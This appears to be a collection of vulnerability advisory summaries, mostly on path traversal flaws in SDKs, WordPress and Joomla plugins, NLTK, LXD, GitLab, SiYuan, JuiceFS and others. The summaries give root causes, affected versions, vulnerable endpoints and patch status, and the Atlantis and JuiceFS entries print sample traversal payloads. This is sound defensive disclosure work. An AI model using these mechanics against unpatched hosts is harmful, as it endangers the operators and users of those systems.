Path traversal in the Mercado Pago Node.js SDK allows attackers who can influence payment, refund, or disbursement identifiers handled by merchant applications to redirect outbound API calls to unintended Mercado Pago endpoints, carrying the merchant's own access token. The affected clients - payment (get, capture, cancel), paymentRefund (create, total, list, get), advancedPayment (get, capture, cancel, update, updateReleaseDate), and disbursementRefund (create, createAll, listAll) - construct API paths via unencoded template literals, allowing dot-dot sequences and question marks to traverse to alternate endpoints or append attacker-chosen query parameters. No public exploit has been identified at time of analysis, and exploitation is conditional on merchant applications forwarding unvalidated, user-supplied identifiers directly to the SDK.

Unauthenticated arbitrary file deletion in ShopBuilder Pro - Elementor WooCommerce Builder Addons plugin versions 2.2.0 and earlier allows any remote attacker to delete arbitrary files on the underlying WordPress server without credentials. The root cause is a path traversal weakness (CWE-22) in a network-exposed endpoint that fails to sanitize user-supplied file paths, enabling traversal outside the plugin's intended file scope. No active exploitation has been confirmed in CISA KEV, and no public exploit code has been identified at time of analysis; however, the trivial exploitation conditions (no authentication, no user interaction) make this a high-priority patching target for any site running the affected plugin.

Unauthenticated arbitrary file deletion in WooCommerce File Approval plugin (versions through 10.7) allows any remote attacker to delete arbitrary files on the underlying server without credentials or user interaction. The path traversal root cause (CWE-22) enables attackers to escape the plugin's intended file handling scope, with the CVSS S:C scope-change indicator confirming that files outside the plugin's own directory — including WordPress core files, configuration files, or OS-level files accessible to the web server process — can be targeted. No public exploit code or active exploitation (CISA KEV) has been identified at time of analysis, though the zero-complexity, unauthenticated attack surface makes this a high-priority remediation target for any site running the affected plugin.

Unauthenticated arbitrary file download in the Super Forms WordPress plugin (versions up to and including 6.3.315) exposes any file readable by the web server process to remote attackers without any credentials. The root cause is a path traversal flaw (CWE-22) in a file download endpoint that fails to sanitize user-supplied path parameters, enabling directory traversal sequences to escape the intended file root. No public exploit or CISA KEV listing is confirmed at time of analysis, but the CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates trivial, unauthenticated remote exploitation with no special conditions required on default plugin installations.

Host root code execution in Canonical LXD arises from a path-traversal flaw in instance template processing, letting an attacker with container edit permissions - or any user who launches a maliciously crafted image - overwrite arbitrary root-owned files on the host. The root cause is a validate-then-open mismatch: LXD checks template target paths against a confined os.Root handle but then creates the file via os.Create using the raw, unconfined string path. No public exploit has been identified at time of analysis, but the CVSS 9.9 rating and container-to-host scope change make this a critical container-escape.

Unauthenticated remote file read in 4MOSAn Management Center (all versions prior to build 20260621) allows any network-reachable attacker to download arbitrary system files via a Relative Path Traversal flaw (CWE-23). The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H) confirms no authentication, no user interaction, and no special configuration is required to trigger the vulnerability. A vendor-issued patch was released as of build 20260621 per TWCERT advisory; no public exploit code or CISA KEV listing has been identified at time of analysis.

Path traversal in exceljs-hardened before 5.0.0 allows unauthenticated attackers to read arbitrary files from the server filesystem by supplying crafted paths to the Workbook.addImage() function, which performs no input validation before passing the value to Node.js file system APIs. Any Node.js application that exposes this function to user-controlled input is at risk of exposing secrets, credentials, configuration files, and any other content readable by the process. No public exploit has been identified at time of analysis; vendor-released patch is available as version 5.0.0.

OneNav 1.2.4's import_link() function allows any authenticated user to delete arbitrary files on the host system via path traversal, scoring CVSS 8.1 with High integrity and availability impact. Publicly available exploit code exists per SSVC assessment (exploitation: poc), though EPSS probability remains very low at 0.14% (4th percentile), indicating limited widespread exploitation activity. The attack requires only low-privilege authentication over the network with no user interaction, making it accessible to any registered user of an exposed OneNav instance.

Remote code execution in GitLab CE/EE package registry exposes instances across three active version branches to full host compromise by an authenticated low-privilege user. Path traversal (CWE-22) in the package registry component allows directory escape and arbitrary file write under certain server-side conditions, with CVSS scope change (S:C) confirming that impact extends beyond the GitLab application to the underlying host. A publicly available exploit exists via HackerOne report 3754194, though this vulnerability is not listed in the CISA KEV catalog at time of analysis.

Path traversal in the Fabrik application-builder extension for Joomla (all versions from 1.0.0 through 4.7.2, fixed in 4.7.3) lets remote attackers manipulate file paths through the image element to reach files outside the intended directory. The vendor's CVSS 4.0 score of 10.0 with PR:N indicates unauthenticated network exploitation, though there is no public exploit identified at time of analysis. The affected component is a form/data-application builder, so exploitation could expose or tamper with files on the Joomla host.

StreamBackedCorpusView in NLTK before 3.10.0 allows arbitrary local file reads by calling Python's builtins.open() directly, fully bypassing the pathsec.ENFORCE security boundary regardless of how that control is configured. Web applications and services built on NLTK that pass externally controlled values to the fileid argument are at risk of having sensitive system files, credentials, and configuration data read by remote attackers. A vendor-released patch is available in NLTK 3.10.0; no public exploit has been identified at time of analysis.

Path traversal and pickle deserialization protections in NLTK before 3.10.0 are effectively disabled by default - pathsec.py sets ENFORCE=False, causing all security validation to emit warnings rather than raise blocking exceptions. Any application using NLTK to process untrusted file paths or serialized data is exposed unless operators have explicitly overridden this default. No public exploit has been identified at time of analysis, but the attack surface is significant wherever NLTK handles attacker-controlled inputs, particularly given that Python pickle deserialization can enable arbitrary code execution.

Path traversal in NLTK's FramenetCorpusReader and NKJPCorpusReader (all versions before 3.10.0) enables unauthenticated network-reachable attackers to read arbitrary XML files accessible to the application process by supplying crafted selectors or poisoned index state to methods including frame_by_name, doc, lu, and header. The CVSS 4.0 score of 8.2 reflects high confidentiality impact (VC:H) tempered by high attack complexity (AC:H) and a required attack target condition (AT:P), meaning exploitation depends on application code that exposes these specific corpus reader methods to external input. No public exploit code and no CISA KEV listing have been identified at time of analysis.

Symlink-based path traversal in NLTK's FramenetCorpusReader before version 3.10.2 permits attackers with write access to a corpus subdirectory to read arbitrary XML files outside the intended corpus root. The flaw exists because path validation in frame_by_name(), _lu_file(), and doc() checks only for path separator characters in filenames but does not resolve symbolic links before access, allowing a separator-free symlink name to bypass the guard and dereference an out-of-root target. No public exploit code or CISA KEV listing has been identified; the provided CVSS 4.0 vector of PR:N/AV:N is inconsistent with the filesystem write prerequisite described and warrants verification with the vendor.

Arbitrary file deletion in SiYuan before v3.7.4 allows authenticated administrators to recursively destroy any file or directory accessible to the SiYuan kernel process by supplying an unsanitized absolute path to the /api/search/removeTemplate endpoint, which passes the value directly to Go's os.RemoveAll. All SiYuan releases prior to v3.7.4 are confirmed affected per vendor advisory GHSA-w938-w7m4-qrj8. No public exploit or CISA KEV listing exists at time of analysis, but the high integrity and availability impact - including potential downstream filesystem destruction beyond the application - makes admin credential hygiene the critical control.

Server-Side Request Forgery in the Mailgun for WordPress plugin (versions up to and including 2.2.0) lets unauthenticated attackers coerce the WordPress server into making authenticated requests to arbitrary Mailgun API endpoints using the site's own stored API key. Because the add_list() function trusts user-controlled array keys from $_POST['addresses'] and only runs them through sanitize_text_field(), an attacker can path-traverse to any Mailgun endpoint - notably creating inbound email-forwarding routes to intercept password-reset messages and take over the administrator account. Reported by Wordfence with a CVSS of 9.8; no public exploit identified at time of analysis and no CISA KEV listing.

Path traversal in Arc Enterprise's Raft finite state machine allows low-privileged cluster peers to register arbitrary file paths via manifest-registration proposals, bypassing all path validation in the applyRegisterFile handler (internal/cluster/raft/fsm.go). All Arc Enterprise deployments running in cluster mode prior to version 2026.06.1 are affected. No public exploit code has been identified at time of analysis, but successful exploitation enables data writes outside the configured storage backend root, directly undermining storage isolation guarantees.

Path traversal in LeafWiki's asset rename endpoint allows authenticated editors to relocate any file readable by the server process into a page's public asset directory, making it downloadable over HTTP. All releases from 0.3.0 through 0.10.0 (CPE: cpe:2.3:a:perber:leafwiki:*:*:*:*:*:*:*:*) are affected; version 0.10.1 contains the fix. No CISA KEV listing or public exploit code has been identified at time of analysis, but the low exploitation complexity and high-impact outcome - including potential exposure of the application database - make prompt patching urgent for any multi-user deployment.

Path traversal in Atlantis workspace handling (versions 0.19.8 through 0.44.x) allows authenticated users to escape the intended workspace directory boundary, triggering os.RemoveAll and os.MkdirAll operations on arbitrary filesystem paths with Atlantis process privileges. A crafted workspace value such as '../../../../../../../../tmp/f1-canary' - supplied via repository atlantis.yaml or authenticated /api/plan API input - causes Atlantis to operate on out-of-bounds directories before Terraform rejects the invalid workspace name. A working proof-of-concept is documented in GHSA-26w5-6g95-gj28; the vulnerability is not in CISA KEV and no public exploit kit has been identified at time of analysis.

Path traversal in Omnigent AI agent framework (versions prior to 0.3.0) allows authenticated users to escape the session workspace by uploading a crafted agent bundle with an absolute or traversal-containing os_env.cwd value, exposing host filesystem contents and runner environment secrets. The vulnerability chain spans four source files - parser.py, validator.py, resource_registry.py, and os_env.py - and the security boundary collapses specifically when OMNIGENT_RUNNER_WORKSPACE is unset on the runner. No public exploit or active exploitation (CISA KEV) has been identified at time of analysis; a vendor-confirmed fix was released in v0.3.0.

Path traversal in Infinite Image Browsing (zanllp/infinite-image-browsing), a Stable Diffusion WebUI extension, exposes arbitrary files outside configured allowed directories to unauthenticated remote attackers by exploiting a missing trailing path separator in the is_path_trusted prefix comparison. The bypass is only exploitable in network-exposed deployments - those started with --share, --ngrok, --listen, or --server_name flags, or with IIB_ACCESS_CONTROL=enable - which are precisely the configurations relying on this confinement for protection. No public exploit has been identified at time of analysis, but the bypass is trivially replicable from the public patch diff; an upstream fix is confirmed at commit 4057a624.

Arbitrary file read in YOOtheme Pro (Joomla extension) versions 2.3.0 through 5.0.40 allows privileged authenticated users to access files outside the intended directory by exploiting glob-based pattern injection in the Filesystem source's path filter. The vulnerability requires high-privilege credentials on the Joomla backend, limiting the attack surface to trusted but potentially malicious insiders or compromised administrator accounts. No public exploit code or CISA KEV listing has been identified at time of analysis, though the CVSS 4.0 score of 7.0 reflects the high confidentiality impact from unrestricted file reads.

Path traversal in JuiceFS filestore backend (pkg/object/file.go) enables arbitrary file writes outside the configured storage root during sync operations. The path() helper joined incoming object keys onto the storage root via filepath.Join or filepath.Clean without verifying the resolved result remained within that root, affecting Put, Get, Head, Delete, Chmod, Chown, Symlink, and Readlink. An attacker who can plant object keys containing traversal sequences such as ../../etc/cron.d/backdoor into a source bucket - a shared, public, or compromised bucket - causes a juicefs sync to write attacker-supplied content to arbitrary filesystem paths on the operator's host. No public exploit identified at time of analysis; an upstream fix is available via commit 0bcd70b3d and pull request #7425.

Arbitrary file write and recursive directory deletion in SiYuan note-taking application before v3.7.4 stems from missing validation of the packageName parameter in the Bazaar marketplace install and uninstall endpoints. An authenticated administrator can supply directory-traversal sequences to write files to any filesystem location (install) or recursively delete arbitrary directories (uninstall), enabling remote code execution and destructive impact. No public exploit has been identified at time of analysis, and it is not listed in CISA KEV.

Path traversal in the misp-stix Python library allows an attacker who can supply crafted STIX 2 content to escape the configured object-template directory during PyMISP template resolution, reading arbitrary files accessible to the conversion process and copying their contents into converted MISP objects. All MISP deployments performing STIX 2 import or MISP-to-STIX 2 export via misp-stix are affected, with the flaw carrying a CVSS 4.0 score of 8.8. No public exploit or CISA KEV listing exists at time of analysis, but the vulnerability's persistent re-triggering pathway - where a poisoned MISP event is later re-exported by a higher-privilege process - represents a privilege-escalation risk beyond what the base score alone reflects.

Privilege elevation in Microsoft Azure Logic Apps allows an unauthenticated, remote attacker to escalate privileges by abusing a path-traversal flaw (CWE-22) that fails to restrict a supplied pathname to its intended directory, provided a victim is lured into interacting (UI:R). Rated CVSS 9.6 with a changed scope, indicating impact beyond the initially vulnerable component. No public exploit has been identified at time of analysis, and it is not listed in CISA KEV.